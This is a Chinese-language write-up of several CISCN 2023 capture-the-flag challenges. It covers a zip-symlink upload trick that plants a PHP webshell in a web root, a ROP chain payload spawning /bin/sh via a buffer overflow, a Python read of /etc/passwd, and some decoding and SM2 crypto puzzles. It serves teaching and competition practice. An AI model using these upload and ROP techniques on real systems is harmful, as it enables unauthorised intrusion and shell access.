About-CISCN2023
About-CISCN2023
PH Gao签到卡
打开题目发现是一个打字机,随便打打发现给了提示,于是就到公众号得到提示
print(open(‘/etc/passwd’).read())
这是python读取文件的一个代码,猜测flag直接就在第一层/flag,所以输入
print(open(‘/flag’).read())
直接得到flag
unzip
打开容器,发现一个文件上传目录,随便点了一下上传,他给我跳到了一个界面,显示了文件上传后的前端处理过程,也就是只接受zip文件,然后先访问tmp目录,再将上传的文件解压到这个目录下。既然是文件上传,那么思路一定是上传一个木马从而控制shell。但是根据前面的代码审计发现文件上传位置为/tmp,所以我上传了一个压缩的木马文件,并访问tmp目录,结果发现tmp目录不能访问。
我想到一个非常类似的题目,所以首先先建立了一个软链接,叫a1,让他指向/var/www/html,这样相当于指向了网页能访问的根目录。然后使用zip -y压缩保留软链接,记为a1.zip,然后再a1目录下写一个一句话木马,并使用zip -r压缩,也就是不保留软链接,记为a2.zip。那么先上传a1.zip,则相当于在tmp下创建了一个目录叫a1,然后再次访问的时候,解压出了一个a1文件夹,里面有一个木马叫a1.php,但由于之前就有一个a1文件夹,所以两个文件夹自动合并,所以a1文件夹中有了木马a1.php,但是由于a1是软链接,所以相当于根目录下有了一个a1.php,这时候直接在网页根目录下访问即可。最后获得flag,其位于根目录下
被加密的生产流量
找到并筛选出wireshark流量包中的modbus部分,发现长度为66的记录里面最后有两个字母或数字或字符
将其拼接可得:
MMYWMX3GNEYWOXZRGAYDA===
base32解码得:
c1f_fi1g_1000
于是flag{c1f_fi1g_1000}
Sign_in_passwd
发现第二行
GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5
中存在%
将其进行url解码得
GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5
将其作为模板对第一行进行base64解码得:
flag{8e4b2888-6148-4003-b725-3ff0d93a6ee4}
烧烤摊儿
0x01
运行程序,喝啤酒、吃烤串儿、查钱包余额还是直接买了这摊位,额额还有只是看看,先润…
一番探究发现随便吃了点钱就不够了,那如果我把烧烤摊儿买下来呢?
于是拉到IDA里看看
vip函数对应买摊位,若你的money>100000,你的拥有摊位数量own则会变为1,代表你已经买下这个摊位啦
and,多买一会儿会发现购买负数个的食品可以反向加钱
于是我们钱包余额瞬间爆棚,拿下烧烤摊儿!
此时我们发现多出一个选项5——给你的烧烤摊儿改名
由此进到gaiming函数
读取输入到v5,双击查看变量空间大小为0x20,计算出要覆盖的空间为0x20+8=40
0x02
使用系统调用获取Shell
ROPgadget寻找构造rop链
得到各段gadget地址
- pop_rdi_ret = 0x040264f
- pop_rax_ret = 0x0458827
- pop_rsi_ret = 0x040a67e
- pop_rdx_rbx_ret = 0x04a404b
- syscall = 0x0402404
gdb调试找到输入最终写入的内存地址,name = 0x4e60f0
## 0x03
构造payload
payload = b’/bin/sh\x00’*5+p64(pop_rdi_ret)+p64(name)+p64(pop_rax_ret)+p64(0x3b)+p64(pop_rsi_ret)+p64(0)+p64(pop_rdx_rbx_ret)+p64(0)*2+p64(syscall)
#填充字符(也是参数/bin/sh)+ pop_rdi_ret + 填入rdi的name地址 + pop_rax_ret + 填入rax的系统调用号0x3b(64位)+ pop_rsi_ret + 填入rsi的参数0 + pop_rdx_rbx_ret + rax和rbx的填入参数0 + syscall地址
写exp
1 | from pwn import * |
拿到flag
基于国密SM2算法的密钥密文分发
按照文档先理解密钥分发流程
跟着文档一步步操作
- 首先得到唯一id,再使用国密SM2算法生成密钥对A(公钥A_Public_Key、私钥A_Private_Key),将密钥对A的公钥(A_Public_Key)传输给服务器,并获取服务端加密后的随机数密文、私钥密文和公钥明文
- 使用私钥A_Private_Key,对随机数C密文进行SM2解密,获取16字节随机数C明文;用户使用16字节随机数C明文,对私钥B_Private_Key密文,采用SM4ECB算法解密,得到私钥B_Private_Key明文
- 从服务器接收密钥D的密文,使用私钥B_Private_Key明文,对密钥D密文进行解密,得到密钥D明文,给服务器验证
拿到flag
问卷题
好好好